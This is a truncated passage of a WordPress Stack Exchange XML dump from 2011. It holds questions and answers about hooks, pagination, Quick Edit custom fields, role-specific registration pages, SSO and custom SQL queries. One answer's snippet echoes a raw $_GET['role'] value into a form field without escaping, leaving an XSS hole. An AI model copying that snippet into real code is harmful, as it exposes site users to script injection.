  <row Id="8872" PostTypeId="2" ParentId="8871" CreationDate="2011-02-08T15:27:59.683" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Mild Fuzz:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like what you might be looking for is &lt;strong&gt;the &lt;code&gt;template_redirect&lt;/code&gt; hook&lt;/strong&gt;.  If you add a function for that hook then you can output whatever you want and end with an &lt;code&gt;exit;&lt;/code&gt; statement.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'yoursite_template_redirect' );&#xA;function yoursite_template_redirect() {&#xA;  if (isset($_GET['foo']) &amp;amp;&amp;amp; $_GET['foo']=='bar') {&#xA;    // Do whatever you want when $_GET['foo']=='bar'&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to figure out what criteria to test for such as I showed with &lt;code&gt;$_GET['foo']=='bar'&lt;/code&gt;, but is that what you are looking for?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-08T15:27:59.683" CommentCount="2" />
  <row Id="8874" PostTypeId="2" ParentId="8858" CreationDate="2011-02-08T16:19:57.823" Score="0" ViewCount="" Body="&lt;p&gt;You could insert the plugin's shortcode into another page, by following the directions here.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/nurelm-get-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nurelm-get-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you don't necessarily need the plugin and simply want to create a page that displays posts, follow the example given here on the codex.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#A_Page_of_Posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scribu, +1 .. as that's essentially what you were suggesting to.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-08T16:19:57.823" CommentCount="1" />
  <row Id="8875" PostTypeId="1" AcceptedAnswerId="8879" CreationDate="2011-02-08T16:24:42.117" Score="1" ViewCount="76" Body="&lt;p&gt;I'm testing a version of my theme in WordPress 3.0 and it crashes Apache each time I try to preview it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I look to trace the cause of the crash? WP_DEBUG is of no use in this case, since it never gets to that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I trace errors in XAMPPLITE somewhere?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-08T21:48:25.220" Title="How can I find the cause of theme crashing Apache in Xampplite?" Tags="&lt;errors&gt;&lt;xampp&gt;&lt;apache&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8876" PostTypeId="1" AcceptedAnswerId="8909" CreationDate="2011-02-08T16:25:11.040" Score="0" ViewCount="1386" Body="&lt;p&gt;Bear with me here..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default posts per page in the admin area is 10.&#xA;During some testing I wanted to change the posts per page for my custom post archive to 2 (in WP 3.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I only have 4 posts, so there should be 2 pages with 2 posts on each, but because the default is at 10, going to /page/2 returns error-404 (assuming because with 10 posts per page there wouldn't be a second page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to get around this was to set the default in the admin area to 1, but it's not really ideal as i now have to do a custom query_post for all post type archives to set the posts per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a better way to do this, or any ideas?&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;archive-project.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;        global $wp_query;&#xA;        query_posts(array_merge($wp_query-&amp;gt;query, array(&#xA;            'paged'          =&amp;gt; get_query_var('paged'),&#xA;            'posts_per_page' =&amp;gt; 2&#xA;        )));&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;h1 class=&quot;title&quot;&amp;gt;&amp;lt;?php _e('Previous work', 'fullycharged'); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()): while(have_posts()): the_post();?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class('launch col col-' . $i); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;span class=&quot;project-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($wp_query-&amp;gt;max_num_pages &amp;gt; 1): ?&amp;gt;&#xA;        &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older posts', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;register post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('project', array(&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; __('Projects', 'fullycharged'),&#xA;        'singular_name' =&amp;gt; __('Project', 'fullycharged'),&#xA;        'all_items' =&amp;gt; __('All Projects', 'fullycharged'),&#xA;        'add_new_item' =&amp;gt; __('Add New Project', 'fullycharged'),&#xA;        'edit_item' =&amp;gt; __('Edit Project', 'fullycharged'),&#xA;        'update_item' =&amp;gt; __('Update Project', 'fullycharged')&#xA;    ),&#xA;    'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/monitor-off.png',&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'rewrite'  =&amp;gt; array('slug' =&amp;gt; 'work', 'with_front' =&amp;gt; false),&#xA;    'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'custom-fields')&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3014" LastEditorUserId="3014" LastEditorDisplayName="" LastEditDate="2011-02-08T19:35:10.043" LastActivityDate="2011-07-06T13:46:06.403" Title="Setting posts per page in query_posts" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;query-posts&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="0" />
  <row Id="8877" PostTypeId="1" AcceptedAnswerId="8880" CreationDate="2011-02-08T16:33:03.323" Score="1" ViewCount="55" Body="&lt;p&gt;I'm looking at the function and template references and I'm not seeing a way to test for whether a post is protected. Is there a theme function for (something like) &lt;code&gt;is_password_protected()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using &lt;code&gt;add_filter( 'the_password_form', 'custom_password_form' );&lt;/code&gt; to override the default form that shows up, but I want to customize some other aspects of the look when a post is password protected.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2011-02-08T16:51:23.707" Title="Is there a theme function for is_password_protected()?" Tags="&lt;theme-development&gt;&lt;functions&gt;&lt;password&gt;" AnswerCount="2" />
  <row Id="8878" PostTypeId="2" ParentId="8875" CreationDate="2011-02-08T16:36:57.260" Score="2" ViewCount="" Body="&lt;p&gt;You can try looking in &lt;code&gt;\xampplite\apache\logs&lt;/code&gt; for various error log messages.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-08T16:36:57.260" CommentCount="2" />
  <row Id="8879" PostTypeId="2" ParentId="8875" CreationDate="2011-02-08T16:37:34.850" Score="7" ViewCount="" Body="&lt;p&gt;Survey said! &lt;a href=&quot;http://www.google.com/search?q=wolf+fence+in+alaska&quot; rel=&quot;nofollow&quot;&gt;Wolf Fence in Alaska&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is that you divide your problem space in half by inserting a &lt;code&gt;print &quot;Hi, Mom!\n&quot;; exit;&lt;/code&gt; (insert your favorite phrase) somewhere near the &quot;middle&quot; of your code. If you get the message, then the bug is beyond where you put the print, so move it farther along in the execution. If you don't get there, move the print earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lather, rinse, repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you Choose Wisely about where to put the print you can narrow a 1,000,000 line program down to 1 line in just 20 tries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is faster/easier to do from the command line, but it's possible to do it via FTP. &lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-08T21:48:25.220" LastActivityDate="2011-02-08T21:48:25.220" CommentCount="4" />
  <row Id="8880" PostTypeId="2" ParentId="8877" CreationDate="2011-02-08T16:42:57.153" Score="4" ViewCount="" Body="&lt;p&gt;Yes there is. It's &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_password_required&quot; rel=&quot;nofollow&quot;&gt;post_password_required&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whether post requires password and&#xA;  correct password has been provided.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-08T16:42:57.153" CommentCount="2" />
  <row Id="8881" PostTypeId="2" ParentId="8877" CreationDate="2011-02-08T16:51:23.707" Score="2" ViewCount="" Body="&lt;p&gt;Should be done close to this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if ( have_posts() ) :&#xA;&#xA;while ( have_posts() ) : &#xA;&#xA;    if ( post_password_required() ) :&#xA;        the_content();&#xA;    else :&#xA;&#xA;    endif; // password&#xA;&#xA;endwhile; &#xA;else: &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-08T16:51:23.707" />
  <row Id="8882" PostTypeId="2" ParentId="3954" CreationDate="2011-02-08T16:55:35.997" Score="0" ViewCount="" Body="&lt;p&gt;I had the same problem - and every time I added a new page it required the permalinks structure reset. Adding this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flush_rewrite_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within your createCartoonPostType() function immediately after the register_post_type part solves the problem though and means you don't need to use the keep resetting permalinks.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastActivityDate="2011-02-08T16:55:35.997" />
  <row Id="8883" PostTypeId="1" AcceptedAnswerId="8908" CreationDate="2011-02-08T17:11:34.063" Score="1" ViewCount="467" Body="&lt;p&gt;I've been trying to add a field to Quick Edit. Somehow it works: it is displayed and if you enter a value in the input field, the value is saved into a custom field. However, can't seem to find a way to retrieve the value of the custom field. Here's what I got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('quick_edit_custom_box', 'ilc_quickedit_show', 10, 2);&#xA;function ilc_quickedit_show( $col, $type ) {&#xA;    if( $type != 'event' ) return; ?&amp;gt;&#xA;&#xA;    &amp;lt;fieldset class=&quot;inline-edit-col-left&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;inline-edit-col&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;inline-edit-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;eventdate&quot; style=&quot;font: italic 12px Georgia, serif;&quot;&amp;gt;Event Date&amp;lt;/label&amp;gt;&#xA;                &amp;lt;span class=&quot;input-text-wrap&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;eventdate&quot; id=&quot;eventdate&quot; size=&quot;10&quot; value=&quot;&quot;&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;entered values are saved using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post','ilc_quickedit_save',10,3);&#xA;function ilc_quickedit_save($post_id, $post) {&#xA;    if( $post-&amp;gt;post_type != 'event' ) return;&#xA;    update_post_meta($post_id, 'Event Date', $_POST['eventdate']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you surely noticed, this is for a custom post type 'event'. However, I can't retrieve the values and populate the fields. AFAIK, this involves inline-edit-post.js but I can't find any way to use inlineEditPost to retrieve the custom field value. Even the post id is available in the JavaScript scope&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head-edit.php', 'ilc_quickedit_get');&#xA;function ilc_quickedit_get() { ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery('a.editinline').live('click', function() {&#xA;            var id = inlineEditPost.getId(this);&#xA;            alert(&quot;Post id: &quot; + id);&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Downloaded the Custom Field Template plugin to dissect the code and found that they are redefining portions of the inlineEditPost function, so I thought about doing the same thing. However, they appear to be doing it through an options array where a duplicate is stored.&#xA;If you have solved this, could you share what you're using to retrieve the values for each custom field?&lt;/p&gt;&#xA;" OwnerUserId="3013" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-08T19:31:16.040" LastActivityDate="2011-02-08T21:07:36.017" Title="Retrieving values of custom fields in Quick Edit mode" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;quick-edit&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="8884" PostTypeId="2" ParentId="8776" CreationDate="2011-02-08T17:13:54.140" Score="0" ViewCount="" Body="&lt;p&gt;I've discovered that the problem is an incompatibility between the WPML plugin and the Yoast WordPress SEO plugin. Specifically, enabling the &quot;Redirect ugly URL's to clean permalinks&quot; setting in the SEO plugin causes the redirect loop. I've contacted the plugin authors to inform them of the incompatibility and will try to help in getting the issue addressed with those two plugins.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-02-08T17:13:54.140" />
  <row Id="8885" PostTypeId="1" AcceptedAnswerId="8888" CreationDate="2011-02-08T17:21:28.950" Score="0" ViewCount="115" Body="&lt;p&gt;I am looking for a way to make two separate register pages. One will automatically assign users up as a &lt;strong&gt;subscriber&lt;/strong&gt;, while the other will sign them up as a &lt;strong&gt;contributor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I have thought of so far is to duplicate the *register_new_user* function in the wp-login.php file and customize it a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2429" LastActivityDate="2011-02-08T18:43:13.010" Title="How do you create two separate Register pages?" Tags="&lt;php&gt;&lt;users&gt;&lt;registration&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8886" PostTypeId="1" AcceptedAnswerId="8894" CreationDate="2011-02-08T17:22:01.293" Score="1" ViewCount="197" Body="&lt;p&gt;I have an ad rotate plugin installed to display a few ads on my site but the plugin is coded so that it uses the full directory in the ad count link.  I would like to know if there's something easy to put in my htacces to cloak the link.  So for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/wp-content/plugins/ad-rotating-plugin/rotate.php?trackerid=1&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-content/plugins/ad-rotating-plugin/rotate.php?trackerid=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;needs to look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/rotate.php?trackerid=1&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/rotate.php?trackerid=1&lt;/a&gt;  (actually any variation of this is fine, I just don't want that full wp-content/plugins/ directory shown in the link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few plugins but not getting the desired results.  To recap, I want the link to SHOW as the bottom link, but when clicked, be taken to the top link, and I need that trackerid=# to stay the generated id, so I only want to cloak part of the link.  Is there something I can put in my htaccess to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-16T18:20:17.973" LastActivityDate="2011-02-16T18:20:17.973" Title="htaccess or redirect to cloak portion of a link?" Tags="&lt;permalinks&gt;&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="8887" PostTypeId="1" AcceptedAnswerId="11472" CreationDate="2011-02-08T17:26:31.017" Score="1" ViewCount="502" Body="&lt;p&gt;I'm about to start working on a prototype for a client - and one of the required features is integration with an in-house user authentication / registration system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This system will act as the authoritative user database, and provides a RESTful interface for creating new users, and authenticating valid users.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to be able to create new users in WP and as part of that process make a call to the external authentication API to either create / validate that user. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A person who is a valid user but not known to WP should be able to login to comment, without needing to register on the WP site themselves.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A person logged into the overall website should also automatically be logged in to WordPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm thinking the following is the way to go.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For (1) - is there a registration hook I can use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For (2) - I'm assuming i hook the authenticate filter - ie when someone tries to login, I trap that, make a call to the external system, and then either process the WP login or redirect them to the registration process where (1) takes oer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For (3) - read the login cookie set by the main site and proceed with (2) ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I guess I'll also need to insert a record into the users and usermeta table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does the above make sense - have I not thought about something. Anyone got any good resources for helping with this (@hakre - I saw you've done some work on this !!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm still bashing my head against this a bit, essentially I'm trying to hook into the authenticate filter, and using that to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;check if a login cookie for the 'master' site is set, and if it is, revalidate against their authentication API, and if valid, force a WP login with wp_signon,using the information contained in the master site cookie (email and hashed password) as credentials for WP&lt;/li&gt;&#xA;&lt;li&gt;if the cookie isn't set, redirect to the master site login page and get either a login / signup then back to step 1&lt;/li&gt;&#xA;&lt;li&gt;if there isn't a WP user when an authenticated master site user exists, create it and then so a 'transparent' signon (ie so the user doesn't see a WP login form)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to hide the WP login form entirely for users who are just going to be mainly commenting, and later find a way to allow authors and admin to access it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's going fairly slowly, here's what I could use some help with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;is the authenticate filter the right one to use? It doesn't seem to get called in all situations I would expect - eg the meta widget displays log in / log out links without the authenticate hook firing&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;i can get wp_signon to return a WP_USER object (indicating success), but it doesn't affect the logged in status - ie the meta widget would still be showin &quot;Login&quot; even after refreshing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully received :)&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-03-03T10:46:20.557" LastActivityDate="2011-07-19T18:36:55.183" Title="SSO / authentication integration with external 'directory service'" Tags="&lt;login&gt;&lt;registration&gt;&lt;sso&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" />
  <row Id="8888" PostTypeId="2" ParentId="8885" CreationDate="2011-02-08T17:36:22.193" Score="2" ViewCount="" Body="&lt;p&gt;Basically all you need to do is add an hidden field named role and set the value to whatever role you want on the register form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('register_form','show_role_field');&#xA;function show_role_field(){ ?&amp;gt;&#xA;&amp;lt;input id=&quot;role&quot; type=&quot;hidden&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value= &quot;&amp;lt;?php if (isset($_GET['role'])){echo $_GET['role'];} ?&amp;gt;&quot;  name=&quot;role&quot;/&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next thing is to register that role when the user has submitted the registration form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('user_register', 'register_role');&#xA;&#xA;function register_role($user_id, $password=&quot;&quot;, $meta=array()) {&#xA;&#xA;   $userdata = array();&#xA;   $userdata['ID'] = $user_id;&#xA;   $userdata['role'] = $_POST['role'];&#xA;&#xA;   //only allow if user role is my_role&#xA;&#xA;   if ($userdata['role'] == &quot;my_role&quot;){&#xA;      wp_update_user($userdata);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all that is left to do is direct the user to the register url with the role that you want as a query var, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/wp-login.php?action=register&amp;amp;role=my_role&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more &lt;a href=&quot;http://www.jasarwebsolutions.com/2010/06/27/how-to-change-a-users-role-on-the-wordpress-registration-form/&quot; rel=&quot;nofollow&quot;&gt;http://www.jasarwebsolutions.com/2010/06/27/how-to-change-a-users-role-on-the-wordpress-registration-form/&lt;/a&gt;&#xA;And i would suggest that you check to validate the role is allowed to register before saving it so you wont get a few new admins in your site. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-08T18:43:13.010" LastActivityDate="2011-02-08T18:43:13.010" />
  <row Id="8889" PostTypeId="1" AcceptedAnswerId="8891" CreationDate="2011-02-08T17:43:09.150" Score="2" ViewCount="249" Body="&lt;p&gt;Have been trying to figure out the issue with this for the past hour, but hitting a wall. Basically I'm just trying to query my custom post type based on some custom date fields and then displaying each. Anyone have an idea where I'm going wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;// - query -&#xA;                 global $wpdb;&#xA;                 $yesterday = strtotime(&quot;-1 day&quot;);&#xA;                 $querystr = &quot;&#xA;                    SELECT *&#xA;                    FROM $wpdb-&amp;gt;posts&#xA;                    INNER JOIN {$wpdb-&amp;gt;postmeta}postmeta m1&#xA;                      ON ( {$wpdb-&amp;gt;posts}posts.ID = m1.post_id )&#xA;                    INNER JOIN {$wpdb-&amp;gt;postmeta}postmeta m2&#xA;                      ON ( {$wpdb-&amp;gt;posts}posts.ID = m2.post_id )&#xA;                    WHERE $wpdb-&amp;gt;posts.post_type = 'tf_events'&#xA;                    AND $wpdb-&amp;gt;posts.post_status = 'publish'&#xA;                    AND ( m1.meta_key = 'tf_events_startdate' AND m1.meta_value &amp;gt; $yesterday )&#xA;                    AND ( m2.meta_key = 'tf_events_starttime')&#xA;                    ORDER BY m1.meta_key ASC, m2.meta_key ASC LIMIT 30&#xA;                 &quot;;&#xA;&#xA;                 $events = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;                if ($events):&#xA;                global $post;&#xA;                foreach ($events as $post):&#xA;                setup_postdata($post);&#xA;&#xA;                // - variables -&#xA;                $custom = get_post_custom(get_the_ID());&#xA;                $sd = $custom[&quot;tf_events_startdate&quot;][0];&#xA;                $ed = $custom[&quot;tf_events_enddate&quot;][0];&#xA;                $st = $custom[&quot;tf_events_starttime&quot;][0];&#xA;                $et = $custom[&quot;tf_events_endtime&quot;][0];&#xA;                $post_image_id = get_post_thumbnail_id(get_the_ID());&#xA;                        if ($post_image_id) {&#xA;                                $thumbnail = wp_get_attachment_image_src( $post_image_id, 'post-thumbnail', false);&#xA;                                if ($thumbnail) (string)$thumbnail = $thumbnail[0];&#xA;                        }&#xA;&#xA;                // - output -&#xA;                ?&amp;gt;&#xA;&#xA;                    &amp;lt;div&amp;gt;Show the goodies&amp;lt;/div&amp;gt;&#xA;&#xA;              &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;              &amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;              &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance :)&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-10T14:16:03.770" Title="Custom Select Query with Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;query&gt;&lt;shortcode&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="8890" PostTypeId="2" ParentId="8809" CreationDate="2011-02-08T18:16:45.227" Score="1" ViewCount="" Body="&lt;p&gt;It definitely might be a caching issue. I find &lt;a href=&quot;http://redbot.org/&quot; rel=&quot;nofollow&quot;&gt;REDbot&lt;/a&gt; is excellent for quick check of how result is served and what are its caching settings.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T18:16:45.227" CommentCount="1" />
  <row Id="8891" PostTypeId="2" ParentId="8889" CreationDate="2011-02-08T18:26:19.977" Score="3" ViewCount="" Body="&lt;p&gt;I would check the output of &lt;code&gt;$querystr&lt;/code&gt;. It looks like you have the table name twice. &lt;code&gt;$wpdb-&amp;gt;postmeta&lt;/code&gt; resolves to something like &lt;code&gt;wp_postmeta&lt;/code&gt; and then you have &lt;code&gt;postmeta&lt;/code&gt; again. This gives you &lt;code&gt;wp_postmetapostmeta&lt;/code&gt; which isn't a valid table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend you try out &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;Debug Bar&lt;/a&gt;. It greatly simplifies query debugging.&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-10T14:16:03.770" LastActivityDate="2011-02-10T14:16:03.770" CommentCount="1" />
  <row Id="8892" PostTypeId="1" CreationDate="2011-02-08T18:27:52.133" Score="0" ViewCount="375" Body="&lt;p&gt;After using a function to submit custom fields the standard redirection is not longer working. What we would like is that after the post has been insetered for the user to be redirected the standard wp_redirect is not at the moment working. I theorise this is because of the custom fields submission function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ) {&#xA;$my_post = array(&#xA;    'post_title' =&amp;gt; $_SESSION['booking-form-title'],&#xA;    'post_date' =&amp;gt; $_SESSION['cal_startdate'],&#xA;    'post_content' =&amp;gt; 'This is my post.',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'booking',&#xA;    'post_author' =&amp;gt; $user_ID,&#xA;);&#xA; $the_post_id = wp_insert_post( $my_post );&#xA;&#xA;__update_post_meta( $the_post_id, 'duration', $_SESSION['booking-form-actual-duration'] );&#xA;__update_post_meta( $the_post_id, 'picture', $_SESSION['booking-form-picture'] );&#xA;__update_post_meta( $the_post_id, 'totalprice', 